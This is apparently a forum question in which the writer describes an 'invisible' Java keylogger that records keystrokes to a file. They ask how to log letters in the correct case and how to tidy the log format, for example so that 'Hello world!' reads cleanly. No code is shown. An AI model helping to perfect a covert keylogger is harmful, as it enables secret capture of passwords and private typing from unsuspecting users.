I am making a invisible kelogger using Java programming langauge. Most of the part of that program completed but having trouble. This capture all necessary strokes and store into specific drive.

Issues:

1) Capture strokes are upper case automatically i hit the key without shift and caps lock but log file contains all are the upper case. Resolve this problem. if we press lower case letter than save only lower case if i type upper case than store upper case letter.

2) log.txt file format is very bad. For example i type "Hello world!" but in the notepad log file contains:

Change this format to: Hello space world

with out lot of enters and native key pressed etc.
